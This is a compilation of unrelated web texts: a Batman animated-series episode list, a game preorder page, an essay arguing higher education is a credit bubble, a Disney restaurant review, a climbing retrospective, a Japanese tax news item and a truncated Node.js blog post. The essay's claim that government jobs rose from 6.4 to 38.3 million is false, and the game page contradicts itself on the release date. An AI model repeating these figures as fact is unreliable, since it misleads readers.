episode won the 1993 Primetime Emmy Award for Outstanding Animated Program (for Programming Less Than One Hour).[2]  33 33 "Robin's Reckoning: Part 2" Dick Sebast Randy Rogel February 14, 1993 ( ) (primetime)  May 18, 1993 ( ) (weekday) Tony Zucco  Angered by Batman's deceit, Robin sets out to find Tony Zucco on his own, all the while plagued by the memories of his parents' death and how Bruce took him in as his own son. Eventually, Batman manages to find Zucco at an old amusement park, but breaks his leg during the fight. Robin finally arrives and prepares to kill Zucco in revenge.  34 34 "The Laughing Fish" Bruce W. Timm Paul Dini January 10, 1993 ( ) (primetime)  April 27, 1993 ( ) (weekday) The Joker and Harley Quinn  Joker creates a toxin that affects only fish, mutating them into Joker fish. Then, he targets innocent men who refuse to copyright his Joker fish. The Joker also captures Harvey Bullock, and Batman must rescue him and foil the Clown Prince of Crime's insane scheme. Note: This episode is based on three Batman comics, blended together; "The Joker's Five-Way Revenge" from Batman #251 September 1973 by Denny O'Neil with art by Neal Adams, followed by "The Laughing Fish" and "Sign of the Joker!" from Detective Comics #475 and #476, of February/March 1978, both by writer Steve Englehart with art by Marshall Rogers.  35 35 "Night of the Ninja" Kevin Altieri Steve Perry October 26, 1992 ( ) Kyodai Ken  A mysterious ninja is robbing Wayne Enterprises subsidiaries, and Batman discovers that the ninja is actually his equal in combat. A grudge against Bruce Wayne and skills to match him can only mean one person: Kyodai Ken, an old rival of Wayne's teacher from his days in Japan, and who was thrown out of the dojo after attempting to rob it, only to be stopped by Wayne. Ken, it turns out, wants revenge.  36 36 "Cat Scratch Fever" Boyd Kirkland Story by : Sean Catherine Derek  Teleplay by : Buzz Dixon November 5, 1992 ( ) Roland Daggett and  Professor Milo  Batman must stop Roland Daggett's plan to release a viral plague designed by Professor Milo into Gotham by way of its stray cat population. The case gains new urgency when Catwoman becomes infected with the virus during her search for her missing cat, Isis. Now, Batman must find an antidote to save the woman who loves him most.  37 37 "The Strange Secret of Bruce Wayne" Frank Paur Story by : David Wise  Teleplay by : Judith & Garfield Reeves-Stevens October 29, 1992 ( ) (weekday)  February 28, 1993 ( ) (primetime) Hugo Strange, The Joker,  Two-Face and The Penguin  After a prominent judge is injured during a struggle with some thugs demanding money from her in exchange for a strange tape, Bruce Wayne decides to take a trip to Yucca Springs, a resort where the judge had vacationed, and consult Dr. Hugo Strange, a psychiatrist. Bruce soon learns that Strange has invented a machine that extracts people's darkest secrets from their minds and transfers them to videotape — and now Strange has proof of Bruce's secret identity as Batman, and plans to auction it to three of Gotham's prominent crime bosses. Note: Based on the comic stories "The Dead Yet Live" and "I Am the Batman!" from Detective Comics #471 and #472, of August/September 1977 by Steve Englehart.  #471 and #472, of August/September 1977 by Steve Englehart. Dr. Strange's scheme in this episode was similarly used by the Riddler in Batman Forever.  Several robberies take place at major companies, including Wayne Enterprises, and Bruce Wayne, as Batman, discovers the thief to be a mechanical briefcase. Bruce meets with his old friend, Karl Rossum, an expert in robotics who lost his daughter to a vehicle accident years ago. He also meets Rossum's assistant, Randa Duane, and Rossum's ultimate creation: a prototype A.I. known as Holographic Analytical Reciprocating Digital Computer (H.A.R.D.A.C.) Bruce invites Duane to dinner, and around the same time, certain civilians start acting strangely. Most surprising is when Duane unexpectedly leaves Wayne Manor while Bruce is on the phone, and the entire Batcave turns on Batman. Note: This episode marks the series' debut appearance of Barbara Gordon, not yet Batgirl. All of Barbara's starring appearances were in episodes written by Brynne Stephens.  39 39 "Heart of Steel: Part 2" Kevin Altieri Brynne Stephens November 17, 1992 ( ) H.A.R.D.A.C.  Batman manages to free himself from the Batcave's clutches, and brings it back under his control, although he fails to track Duane down. Barbara Gordon approaches Batman to inform him of her father's sudden change in behavior. A brutal fight between Batman and Detective Bullock ensues, during which Batman pushes Bullock onto the Bat Signal, and reveals him to actually be an android, meaning that the real Bullock and James Gordon have gone missing, and Batman knows who the culprit is: H.A.R.D.A.C. Batman must stop the evil supercomputer before it is too late.  40 40 "If You're So Smart, Why Aren't You Rich?" Eric Radomski David Wise November 18, 1992 ( ) (weekday)  January 3, 1993 ( ) (primetime) The Riddler  Edward Nygma creates the video game The Riddle of the Minotaur for the company Competitron, but is fired by his superior Daniel Mockridge, who wants the profits for himself. Nygma vows revenge, and takes up the mantle of the Riddler two years later. While Batman sympathizes with Nygma, he and Robin find themselves forced to stop him before he kills Mockridge in a life-sized version of the Minotaur maze. Despite successfully rescuing Mockridge, who complete a deal to move his company to Gotham, the incident leaves him in a permanent all-consuming fear of Nygma's return for revenge. Note: This episode features the series' debut appearance of The Riddler. Fun fact: When Robin is playing the Minotaur game on the Batcave computer, the majority of the sound effects heard from the game are actually from the NES game Super Mario Bros. 3.  41 41 "Joker's Wild" Boyd Kirkland Paul Dini November 19, 1992 ( ) The Joker and  Cameron Kaiser  Cameron Kaiser builds a casino hotel modeled after the Joker, called "The Joker's Wild". The Joker sees this on the news and, enraged, escapes from Arkham again, with one thought on his mind: destroying the casino, unaware that this is exactly what Kaiser wants him to do as part of an insurance claim.  42 42 "Tyger Tyger" Frank Paur Story by : Michael Reaves and Randy Rogel  Teleplay by : Cherie Wilkerson October 30, 1992 ( ) Tygrus and Dr. Emile Dorian  Selina Kyle is kidnapped by the villainous genetic engineer Dr. Emile Dorian and becomes his latest experiment to provide his man-cat hybrid named Tygrus with a mate. Batman learns of this and comes to the island to rescue Selina. He is captured and forced into a deadly game of cat-and-flying mouse as Tygrus hunts Batman through the island's jungles.  43 43 "Moon of the Wolf" Dick Sebast Len Wein November 11, 1992 ( ) The Werewolf  and Professor Milo  Batman investigates the appearance of a werewolf-like creature in Gotham, not realizing that the monster happens to be one of Bruce Wayne's associates — Anthony Romulus, ex-Olympic champion. Behind the scheme is twisted chemist Professor Milo. Note: Based on the comic story of the same name by writer Len Wein with art by Neal Adams, from Batman #255, April 1974.  44 44 "Day of the Samurai" Bruce W. Timm Steve Perry February 23, 1993 ( ) Kyodai Ken  Kyodai Ken kidnaps Kari, star pupil of Yoru Sensei, the martial arts instructor who taught both Kyodai and Bruce. The ninja's ransom for her is a scroll that teaches the location of the fabled Death Touch.  45 45 "Terror in the Sky" Boyd Kirkland Story by : Steve Perry and Mark Saraceni  Teleplay by : Mark Saraceni November 12, 1992 ( ) She-Bat  When a giant-sized bat ransacks Gotham harbor, Batman suspects that Dr. Kirk Langstrom is up to his old tricks, taking the Man-Bat formula again. Batman isn't the only one. Kirk's wife, Francine, is so distrustful of her husband that she decides to leave him. After further investigation, Batman discovers that this Man-Bat is not Kirk, but someone else, and thus he shames Francine's father into permanently destroying the formula. Note: Loosely based on "Man-Bat Over Vegas", originally presented in Detective Comics #429, by Frank Robbins. The setting has been shifted from Las Vegas to Gotham Harbor, and in keeping with the family-friendly rating of the television show, She-Bat is not a vampire in the adaptation. The final line of the episode, "the nightmare's finally over", is similar to one of the final lines from the original comic, "Now Fran's vampire nightmare is about over".  The Joker, Killer Croc, the Penguin, Two-Face, and Poison Ivy all meet at a poker table, each telling a tale of times when they almost defeated Batman. At the same time, Harley Quinn is about to kill Catwoman after she rescued Batman from the Joker's electric chair, and Batman must save her. Notes: Influenced by a four-issue story arc in Batman (1977) #291–294, entitled "Where Were You on the Night Batman Was Killed?". In each of the four issues, one of Catwoman, Riddler, and The Joker all recount their claims to have killed the Batman. However, the plot for "Almost Got 'Im" is quite different (six stories in the show, and four completely different ones in the comic book), with only the Joker as an overlapping antagonist.  Two-Face's strategy in "Almost Got 'Im" (strapping down Batman to a giant coin and flipping the coin in the air) was taken from the comic; World's Finest Comics #30, September 1947. In a back-up tale both Batman and Robin were tied to a giant penny that was catapulted onto spikes by a lesser known villain, the Penny Plunderer.  47 47 "Birds of a Feather" Frank Paur Story by : Chuck Menville  Teleplay by : Brynne Stephens February 8, 1993 ( ) The Penguin  Veronica Vreeland is looking for a way to create a splash with her next party, and arrives at the idea of having a former criminal in attendance — especially if there is one whose manners would create a stir. The Penguin, who has recently reformed, fits the bill perfectly. In the process of convincing the Penguin to come to her party, Veronica finds she likes the corpulent little guy. For his part, the Penguin begins to fall in love with her, until he overhears that he is merely being used...  48 48 "What Is Reality?" Dick Sebast Marty Isenberg and Robert N. Skir November 24, 1992 ( ) (weekday)  March 7, 1993 ( ) (primetime) The Riddler  Seeking to prove once and for all that his is the superior mind, the Riddler lures Batman into a riddle-solving contest inside the virtual reality of a computer game in order to save Commissioner Gordon's life. In the course of solving the riddles and escaping the Riddler's traps, Batman learns that he is able to manipulate the virtual reality landscape much like the Riddler does.  49 49 "I Am the Night" Boyd Kirkland Michael Reaves November 9, 1992 ( ) (weekday)  December 13, 1992 ( ) (primetime) The Jazzman  On the anniversary of the death of Bruce's parents, Batman accompanies Leslie Thompkins to Crime Alley to place roses on the spot where they were gunned down. Meanwhile, Commissioner Gordon is on stakeout to arrest Jimmy "The Jazzman" Peake during a drug smuggling ring. Batman had promised to be there, but arrives late to find a gun battle going on. He helps defeat the gangsters and arrest the Jazzman, but at a high cost—Gordon is severely wounded. The incident traumatizes Batman and he contemplates giving up his crime-fighting career, despite the Jazzman escaping prison to carry out his personal vendetta against Gordon (who had sent him to prison six years before).  50 50 "Off Balance" Kevin Altieri Len Wein November 23, 1992 ( ) Count Vertigo and Talia  While following Count Vertigo's trail, Batman encounters Talia, daughter of the head of the Society of Shadows, who was sent by her father to prevent the capture of a sonic drill that the Count stole. But after his identity is mistakenly revealed to Talia, Batman remains off-balance as to where her true loyalties lie. Note: This episode is a direct adaptation of "Into the Den of the Death-Dealers" from Detective Comics #411, May 1971 by Denny O'Neil with art by Bob Brown. The story is famous for the first appearance of the character Talia al Ghul.  51 51 "The Man Who Killed Batman" Bruce W. Timm Paul Dini February 1, 1993 ( ) The Joker, Harley Quinn and Rupert Thorne  When small-time gang member Sidney "The Squid" Debris (played by Matt Frewer) seemingly kills Batman by accident, he gets involved with gangs all over Gotham, as well as the Joker and Rupert Thorne, none of whom believe his story that everything that is happening is by preposterous happenstance.  52 52 "Mudslide" Eric Radomski Story by : Alan Burnett  Teleplay by : Steve Perry September 15, 1993 ( ) Clayface  Clayface is falling apart, literally. His clay-like body is disintegrating. Fortunately, a scientist he knew from his movie star days is working on a remedy. However, Hagen is forced to steal money to pay for the expensive components of the remedy. That is, until one of his targets is Wayne Biomedical Labs...  53 53 "Paging the Crime Doctor" Frank Paur Story by : Mike W. Barr and Laren Bright  Teleplay by : Randy Rogel & Martin Pasko September 17, 1993 ( ) Rupert Thorne  Dr. Matthew Thorne (played by Joseph Campanella), losing his medical license and forced into becoming the crime doctor by his younger brother, crime boss Rupert Thorne, must perform delicate surgery on Rupert. He can't do it alone, and kidnaps Dr. Leslie Thompkins to assist. Batman discovers Leslie's disappearance, and rushes to track her down – and has an additional interest in Matthew, because he was a medical school classmate of Bruce Wayne's father Thomas.  54 54 "Zatanna" Dick Sebast and Dan Riba Paul Dini February 2, 1993 ( ) Montague Kane  When the glamorous magician Zatanna is framed for a robbery during her act, Batman swings to her defense. Zatanna is grateful, though a little puzzled, by the Dark Knight's commitment to prove her innocence, but the two heroes unite and use the skills her father, Zatara, taught them to expose and combat the culprit: an evil illusionist named Montague Kane.  55 55 "The Mechanic" Kevin Altieri Story by : Steve Perry and Laren Bright  Teleplay by : Randy Rogel January 24, 1993 ( ) The Penguin  Thanks to a freak accident during a high-speed chase, the Batmobile is virtually demolished. After Batman takes the car to his personal mechanic, Earl Cooper, the Penguin makes his move and tampers with the Batmobile, putting it under his control. Note: The Penguin's scheme in this episode was similarly featured in Batman Returns.  56 56 "Harley and Ivy" Boyd Kirkland Paul Dini January 18, 1993 ( ) The Joker, Harley Quinn  and Poison Ivy  When the Joker fires Harley, she tries going on a crime spree of her own, joining up with Poison Ivy, and the two become Gotham's Queens of Crime, much to the Joker's fury.  57 57 "Shadow of the Bat: Part 1" Frank Paur Brynne Stephens September 13, 1993 ( ) Two-Face, Rupert Thorne  and Gil Mason  When Commissioner Gordon is framed for taking bribes from Rupert Thorne, his daughter Barbara pleads with Batman to show up at a rally being put on in the commissioner's behalf. But when Batman disappears after finding the person behind the frame-up, Barbara takes the law into her own hands as Batgirl. Note: This episode marks the series' debut appearance of Barbara Gordon as Batgirl.  58 58 "Shadow of the Bat: Part 2" Frank Paur Brynne Stephens September 14, 1993 ( ) Two-Face and Gil Mason  Robin discovers that Gil Mason is in league with the underworld and goes to investigate him. He encounters Batgirl along the way, and go their separate ways to stop Mason. They then meet again to learn that Gil is working with Two-Face to take out Gordon, and have Batman (as Matches Malone) captured.  59 59 "Blind as a Bat" Dan Riba Story by : Mike Underwood and Len Wein  Teleplay by : Len Wein February 22, 1993 ( ) The Penguin  The Penguin steals an experimental helicopter from an air show, causing an explosion that temporarily blinds Bruce Wayne. Batman knows he won't be able to wait until his vision returns to track the Penguin down, and he must find a way to do so without the use of his eyes.  60 60 "The Demon's Quest: Part 1" Kevin Altieri Dennis O'Neil May 3, 1993 ( ) Ra's al Ghul  When Robin is mysteriously abducted from his college campus, Batman begins a fruitless search... until he is astounded by the sudden appearance in the Batcave of Ra's al Ghul. Ra's quickly reveals that his daughter, Talia, has been abducted under circumstances similar to Robin's, suggesting that the same people are responsible. So begins an uneasy truce between Batman and 'The Demon'. Note: A direct adaptation of "Daughter of the Demon" from Batman #232, June 1971, and "The Demon Lives Again" Batman #244, September 1972, both by Denny O'Neil and Neal Adams. Famous for introducing one of Batman's deadlier foes; Ra's al Ghul, father of Talia.  61 61 "The Demon's Quest: Part 2" Kevin Altieri Story by : Dennis O'Neil and Len Wein  Teleplay by : Len Wein May 4, 1993 ( ) Ra's al Ghul  After freeing Talia from her father's clutches and escaping from an avalanche, Batman and Robin follow the only clue they have – the word 'Orpheus'. After discovering that 'Orpheus' is Ra's private satellite that will orbit over the Sahara, the duo travel to the Demon's desert stronghold. There, Batman learns that the satellite is actually a weapon which will explosively destroy all the Lazarus Pits simultaneously throughout the world, destroying all the life that exists. Note: A direct adaptation of "Daughter of the Demon" from Batman #232, June 1971, and "The Demon Lives Again" Batman #244, September 1972, both by Denny O'Neil and Neal Adams.  62 62 "His Silicon Soul" Boyd Kirkland Marty Isenberg and Robert N. Skir November 20, 1992 ( ) H.A.R.D.A.C. and  Duplicate Batman  When a Batman impersonator appears in Gotham City, the real Batman deduces that Karl Rossum is somehow involved and confronts the inventor. The other Batman, a duplicate, then shows up and a battle between the two takes place. After the duplicate Batman escapes, it begins its campaign to recreate H.A.R.D.A.C.'s goals of a robotic society. Note: The anime series The Big O was partially inspired by this episode.  63 63 "Fire from Olympus" Dan Riba Judith & Garfield Reeves-Stevens May 24, 1993 ( ) Maxie Zeus  Believing himself to be the reincarnation of Zeus, Maxie Zeus steals an experimental weapon that the government developed. The mad man desires to use the weapon against the people of Gotham City and Batman must put a stop to Maxie's mad plan against the city he loves.  64 64 "Read My Lips" Boyd Kirkland Story by : Alan Burnett and Michael Reaves  Teleplay by : Joe R. Lansdale May 10, 1993 ( ) The Ventriloquist  A brand-new gang has made its debut committing the slickest crimes ever, thanks to the gang leader, Scarface. It's up to Batman to stop Scarface and his "dummy", the Ventriloquist.  65 65 "The Worry Men" Frank Paur Paul Dini September 16, 1993 ( ) The Mad Hatter
-Genre  Action, Platformer  Action, Platformer Platform  PC, PS3, X360  PC, PS3, X360 Release date  Jun 14, 2011 (US)  Jun 16, 2011 (EU)  This game was released on June 16, 2011 and is no longer available to pre-order. Any incentives that were offered are listed below.  Alice: Madness Returns is an upcoming multiplatform action-adventure game from Spicy Horse studio with game designer American McGee. It will be released in June this year for PC, Mac, Xbox 360 and Playstation 3 platforms.  The sequel picks up 11 years after the events of the first game. Alice is living in the gloomy Victorian London, still haunted by nightmarish hallucinations that interfere with reality. She seeks refuge in the Wonderland, but finds it warped by her own insanity. If Alice is to save herself from the madness, she has to use her Vorpal Blade and an array of other crazy weapons to defeat twisted enemies and recall the repressed memories of her past.  Pre-order bonuses  The first A: MR preorder bonus is available for gamers on EA Store only. Those who reserve a copy of Alice: Madness Returns – The Complete Collection will receive both the sequel and the re-mastered original game, American McGee’s Alice, as digital download.  The second bonus is available on Amazon, GameStop, and the aforementioned EA Store. Gamers who pre-order Alice: Madness Returns at any of these retailers will receive 9 songs from the official soundtrack composed by the former Nine Inch Nails drummer Chris Vrenna.  Finally, a free Alice: Madness Returns Interactive Storybook app is available for download on iTunes. Complete it on your iPhone, iPod or iPad (anything that runs iOS 4.0 and above) and unlock a $10 discount for the upcoming game at EA Store! The story book serves as a prequel to A:MR and features some impressive artwork.  Beautiful Insanity trailer  The fourth trailer for A: MR features some gameplay footage, including fantastic environments and battle scenes with interesting new weapons.  Want to find out more? Visit EA.com/Alice for official news, trailers, screenshots and other info.
-A college degree once looked to be the path to prosperity. In an article for TechCrunch, Sarah Lacy writes, "Like the housing bubble, the education bubble is about security and insurance against the future. Both whisper a seductive promise into the ears of worried Americans: Do this and you will be safe."  But the jobs that made higher education pay off during the inflationary boom, kicked into high gear by Nixon waving goodbye to the last shreds of a gold standard, came primarily from government and finance.  In 1990, 6.4 million people worked for federal, state, and local governments. By 2010, that number had grown almost 6 times — to 38.3 million — with many of these jobs being white-collar.  In 1990, the financial sector was less than 7.5 percent of the S&P 500. By 2006, this sector had grown to 22.3 percent of the S&P, and that year the financial sector constituted 45 percent of the index's earnings.  "Prices and wage rates boom," writes Mises.  Everybody feels happy and is convinced that now finally mankind has overcome forever the gloomy state of scarcity and reached everlasting prosperity. In fact, all this amazing wealth is fragile, a castle built on sands of illusion. It cannot last. There is no means to substitute banknotes and deposits for nonexistent capital goods.  Times have changed.  Last week, HSBC Holding Plc announced plans to eliminate 30,000 jobs worldwide by the end of 2013. The job cuts will affect "support staff where we believe we have created an unnecessary bureaucracy in this firm over a number of years," HSBC chief executive officer Stuart Gulliver said.  Goldman Sachs plans to cut 1,000 positions. Bank of America is laying off 1,500 employees and closing 600 retail branches.  At the same time that banks are trimming their fat, according to a Labor Department report released earlier this month, from May 2010 to May 2011 local governments shed 267,000 jobs and state governments 24,000. Local government employment in May, at 14.165 million jobs, was the lowest since July 2006.  An increase in the amount of real savings, which induces a fall in the interest rate and a lengthening of the production schedule, increases an economy's productive capacity, creating genuine growth brought about by the investment in higher-order goods such as factories and other production assets.  Conversely, easy, cheap credit fools entrepreneurs into believing that society's collective time preference has fallen, enticing them into investing in higher-order goods, such as land, factories, and the like — when in fact the collective time preference hasn't changed, and the demand for higher-order goods is merely a mirage. The result is booms and busts rather than genuine growth.  College degrees are similar to what the Austrians call higher-order goods. It's thought that a student will gain knowledge and seasoning in college that will make him or her more productive and a candidate for a high-paying career. The investment of time and money in knowledge pays through higher productivity and is translated into higher income. Higher education is the higher-order means to a successful career.  PayPal founder and early Facebook investor Peter Thiel, questioning the value of higher education, tells TechCrunch,  A true bubble is when something is overvalued and intensely believed. Education may be the only thing people still believe in in the United States. To question education is really dangerous. It is the absolute taboo. It's like telling the world there's no Santa Claus.  The excesses of both college and homeownership were always excused by a core national belief that, no matter what happens in the world, these were the best investments you could make. Housing prices would always go up, and you will always make more money if you are college educated.  The New York Times' David Leonhardt even claims,  Construction workers, police officers, plumbers, retail salespeople and secretaries, among others, make significantly more with a degree than without one. Why? Education helps people do higher-skilled work, get jobs with better-paying companies or open their own businesses.  Using data from the Center on Education and the Workforce at Georgetown University, Leonhardt asserts that dishwashers with college degrees make $34,000 a year while those without make $19,000.  No employer in their right mind would pay nearly double for a dishwasher with a college degree. However, there are plenty of fresh college graduates cobbling together multiple low-level jobs just to make ends meet.  "More college graduates are working in second jobs that don't require college degrees," writes Hannah Seligson in the New York Times, "part of a phenomenon called 'mal-employment.' In short, many baby-sitters, sales clerks, telemarketers and bartenders are overqualified for their jobs."  Nearly 2 million college graduates were mal-employed last year, up 17 percent from 2007. Nearly half of all college graduates are working at a job not requiring a degree.  In the United States, 80,000 bartenders as well as 317,000 waiters and waitresses have college degrees. Nearly a quarter of all retail salespersons have a college degree. In all, 17 million Americans with college degrees are working at jobs that do not require a bachelor's degree.  "Young college graduates working multiple jobs is a natural consequence of a bad labor market and having, on average, $20,000 worth of student loans to pay off," said Carl E. Van Horn, director of the John J. Heldrich Center for Workforce Development at Rutgers.  "The median starting salary for those who graduated from four-year degree programs in 2009 and 2010 was $27,000, down from $30,000 for those who graduated in 2006 to 2008, before the recession," Seligson writes, adding, "Try living on $27,000 a year — before taxes — in a city like New York, Washington or Chicago."  Like all booms, higher education has been fueled by credit. In June of last year, total student-loan debt exceeded total credit-card debt outstanding for the first time, totaling more than $900 billion.  All of this credit has pushed the average cost of tuition up 440 percent in the last 25 years, more than four times the rate of inflation. But while the factors of production on campus have been bid up, just as they are in any other asset boom, the return on investment is a bust. In 1992, there were 5.1 million mal-employed college graduates. By 2008, the number was 17 million.  Not only are the returns poor, but the quality of the product is poor (as in the case of new-construction quality in the housing boom). According to the authors of Academically Adrift: Limited Learning on College Campuses, 45 percent of students make no gains in their critical reasoning and thinking skills, as well as writing ability, after two years in college. More than one out of three college seniors were no better at writing and thinking than they were when they first arrived at their campuses.  Many projects contemplated and started during the real-estate boom are never completed, as prices are bid up, and owners run out of capital. Such is the case for many attending college, as over 45 percent of those who enroll as freshmen ultimately give up, realizing they lack the disciplinary and mental capital, and do not graduate.  Similar to the government push for increased homeownership, government is foursquare behind having more young people attend universities. One of President Obama's top goals is to increase the number of Americans attending college.  But why? "Among the members of the class of 2010, just 56 percent had held at least one job by this spring, when the survey was conducted," reported the Times recently. "That compares with 90 percent of graduates from the classes of 2006 and 2007."  And because they can't find jobs, 85 percent of college grads move back in with their parents after they graduate. According to a poll by Twentysomething Inc., a marketing and research firm based in Philadelphia, that rate has steadily risen from 67 percent in 2006.  Perversely, while the market tries to clear away malinvestments in finance and real estate, plus the jobs that supported them, colleges continue to turn out more business majors than any other discipline. In 2007 and 2008 there were more than 335,000 business degrees granted — 100,000 more than a decade before, according to the National Center for Education Statistics.  At the same time as law schools have a building boom underway, many new law grads can't find work or are working temporary jobs at $15 an hour.  David Segal reports for The New York Times,  And while law grads can't find work, law schools are enrolling more students than ever before at tuition rates of $40,000+ a year. Segal explains that law-school tuition has increased at 4 times the rate of undergraduate education, which itself has increased 4 times the CPI. "From 1989 to 2009, when college tuition rose by 71 percent, law school tuition shot up 317 percent."  Students and their parents are investing in the higher-order good of a college degree, in the mistaken belief that plenty of jobs await college graduates at the end of four or six or seven years. However, time preferences haven't changed. The demand for consumer goods remains, and that's where the jobs are. The boom in demand for bankers, barristers, and bureaucrats is over.  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-Located inside the Land at EPCOT, Garden Grill is the only rotating restaurant in Disney! Yes, the restaurant rotates! The scenery changes all around you, as you enjoy a delicious meal. One minute you could be looking at murals on the wall(hint: hidden Mickey) and next thing you know is you are experiencing parts of the Living with the Land attraction. It was definitely an awesome new experience to try.  The food was delicious. The meal is served family style but it is not your typical servings of chicken, potatoes and salad. At the Garden Grill you start off with a fresh salad, like really fresh because they grow the salad ingredients like right downstairs. You also get some bread and honey butter before the main course. Once you have had you fill of appetizers the main course begins its way out. They bring out two large plates. One plate has a bowl of macaroni and cheese, which is super cheesy and good, and sweet potatoe fries. The largest of the plates has many different meal options for you to mix and match. First there is a delicious serving of turkey with stuffing and cranberry sauce. Next there is a fish of the day (talapia the day I was there) with a jasmine rice and tangy dressing. Lastly there was a large serving of mashed potatoes and beef, which tasted amazing! It was a nice change from your typical family style food. Also, if you run out of something (we needed a couple servings of macaroni and cheese) they bring you as much as you like!  Forgot to mention that this is also a character meal where you can meet Farmer Mickey and his pals Pluto, Chip and Dale. They were super interactive and came to our table more than once.  So, if you are planning a trip for Thanksgiving down to Disney give Garden Grill a shot. I think your families would enjoy it!!  Enjoy!!!  PD  Advertisements
-Steve House, looking back on the Denali Slovak Direct  19.07.2017 di di Planetmountain  17 years after his ground-breaking ascent, American alpinist Steve House looks back on the extremely fast repeat of the Slovak Direct up the South Face of Denali (Alaska), climbed with Mark Twight and Scott Backes in 60 hours non-stop.  Using the recent 5-day repeat of the Slovak Direct on Denali (6194m) by the young Italians David Bacci and Luca Moroni as a pretext, we asked Steve House to recall his astounding ascent carried out in 2000 with Mark Twight and Scott Backes in 60 hours of non-stop climbing. At that time their ascent - only the third after the 11-day first ascent carried out in 1984 by Blažej Adam, Tono Križo and František Korl and after the 7-day second ascent by Kevin Mahoney and Ben Gilmore - marked a radical shift in why and how climbs were made. Better still: the motivation, starting from the route and the mountain, was aimed at trying to understand more about themselves. They chose a path and a method - both difficult and in some respects "crazy" - that took them beyond their physical and mental limits. The result was an epic, if not absolutely unique, ascent (read House's Beyond The Mountain to find out more). Their experience was based on their climbing partnerships and on a journey that was intended to go beyond the boundaries of the usual way of thinking. Theirs was the search for illumination and a vision, but also, and above all, as Steve House summarizes below, an experience that was both formative and unforgettable.  Non-stop Slovak Direct by Steve House  Our dream with the Slovak was to push ourselves right to the edge of what we thought was possible, and see what would happen to us. We did not care about repeating the route (we missed the 2nd ascent by a few weeks as a then-unknown rope team climbed the route the month before us). Or setting a time or speed-record. We saw what I still believe is the most difficult and most beautiful route on Denali, and we saw a forge. A place we could enter, and come out transformed. Re-shaped. Tempered.  It was very important that the three of us were very close. And it was important that we were close in each relationship. Scott and Mark were, and still are, very close to one another due to many experiences they had as a rope team and lifelong friends. Scott and I spent important time together, most notably climbing M-16 on Howse Peak in 1999. And Mark and I spent time together on several previous expeditions in Alaska. We are all still remarkably close friends today, 16 years later.  The forge worked. We all learned new things about ourselves and about each other. We saw just how strong our wills to live, to have life and embrace it to the full extent was. The closer we got to dis-order (we once lost our way on the route and had to make several abseils), the more we felt our resolve to climb, to live, strengthen. By the time we got to the top we were, strangely, full of energy. We almost ran from the summit down to the 14,200’ camp in just over two hours time. The process emptied us, and filled us. The climb almost destroyed us, it made us weak, almost killed us, but we only got stronger. And we still have that strength today.  To find out more about Steve House and his alpinism courses check out www.uphillathlete.com
-Just a week after Prime Minister Shinzo Abe announced his intention to raise the 5 percent consumption tax to 8 percent next April, Finance Minister Taro Aso said he was upbeat about raising the levy further to 10 percent.  Aso told reporters Tuesday the government should decide by the end of December next year whether to raise the tax to 10 percent in October 2015, as required by a special tax reform law enacted last year.  “It’d be hard to compile the (fiscal 2015) budget unless we make the decision by around (the end of) December” because it affects government revenues, Aso told a news conference.  The tax reform law contains an article that allows the government to cancel the planned hike if economic conditions deteriorate considerably.  But during the news conference, Aso indicated he believes the tax should be raised, pointing out social security expenditures are rapidly growing as society ages.  Unlike Aso, senior aides to Abe at the prime minister’s office are more sensitive to voter reaction and cautious about consumption tax issues.  Later the same day, Chief Cabinet Secretary Yoshihide Suga told reporters nothing has been decided about whether and when to raise the sales levy again beyond next April.  “The prime minister has just made the decision to raise the consumption tax from 5 percent to 8 percent,” Suga told a news conference.  “We will just make an appropriate decision, based on the law,” he said.  The Liberal Democratic Party and New Komeito face many local-level elections in spring 2015 that could make it difficult for the ruling bloc to alienate voters before then.  When asked about the elections, Aso said, “I cannot make any comment on that” because the Diet enacted the tax law last year and decided on the timing of the planned tax hike.
-Node is much more than JavaScript on the Server.  That's Node's gimmick though right? You can now write both your server and client in JavaScript.  No longer will you toil away, learning and bouncing between multiple environments. Painfully switching contexts, excreting blood and tears when you are forced to move from the client to the server or vice versa.  Hopefully you picked up on my sarcasm.  The fact that Node uses JavaScript is but a tertiary point (a benefit to some, a downside to others). It most definitely is a contributor to it's success, but so much so that the primary point and purpose of Node is often missed. If this is obvious and apparent to you, you probably can stop reading.  Saying that you like Node because you can write JavaScript on the server side is like saying you like red Lotus Elises because they are painted red. Not everyone likes red, and even if everyone did, it's hardly the most important/objective thing that makes this car "good".  Node is fundamentally different than the dynamic language platform status quo. It was born from an obsession with efficiency. A dissatisfaction with the classic 1-to-1 relationship between threads and connections drove it's ability to handle a significantly increased level of concurrency for web applications written with dynamic languages.  Blocking and the I/O Problem  The classic bottleneck of most applications, web or otherwise, is I/O.  The application is regularly transferring information to and from a database, the file system, the network, or a combination of these. Generally, the transfer of this information is far slower than the speed of the CPU operating on this information in memory. Productive CPU over-utilization is likely not your problem.  The second problem is the way we have handled the first. Historically understanding computers, we think sequentially. This is how Computers think right? You provide a set of instructions and they are run in sequence from top to bottom. Your first program generally looks something like this.  // print console . log ( "Enter your name: " ); // block execution to retrieve data // keeping the process tied up awaiting the // data's return var name = console . read (); // manipulate data and report console . log ( "Hello " + name + "!" );  But what if you could do this in a non-blocking way  // print console . log ( "Enter your name: " ); // make a request for the data, but allow the process to // be free to do other things, providing a bit of code // to run when the data is retrieved. console . read ( // When we are notified we have a // response, manipulate data and report function ( err , name ) { console . log ( "Hello " + name + "!" ); } );  Making your process block and wait around for millions of clock cycles is a waste of time and resources. To handle additional requests, you must use a process manager of some kind to keep around multiple processes. As the web moves to be a more interactive medium, we are continually reducing the size of each request, while multiplying the number of requests generated by every single client. This makes it obvious why the 1-to-1 relationship between a request and a process is hard to scale.  Historically, we have taught ourselves to more easily reason our programs in the first style, but I would argue that the second style is equally, if not more, intuitive as a human being.  Thinking like a Human  As a human being you understand the asynchronous nature of information flow. You intuitively know that it's just not efficient or practical to stop everything you are doing every time you need to retrieve or communicate information.  As a developer, every time you ask a manager or stake holder of a project for clarification, do you simply sit and wait quietly for a reply? No, of course you don't. You move on to the next thing that you can make progress with, juggling a hand full of important tasks. Once the information comes back, you continue with the related task.  For a more rudimentary anecdote, you are driving in your car with a friend of yours and you need to know the weather report for tomorrow. Would you slam on the breaks and stop traffic to turn to your friend and ask what the weather will be like tomorrow? Waiting still and silent (except for the honking behind you) until he looks it up for you? Of course you wouldn't, you would continue having other conversations and driving while he retrieves the information for you.  In this way, Node's non-blocking/asynchronous model does not need to be as foreign as it would seem at first pass.  Why not threads?  Threads are hard, heavy, and generally overkill  They do solve the rudimentary problem of parallelism, but they present an all new set of problems around thread-safety and mutability. They are generally very complex and difficult for dynamic languages to implement, if 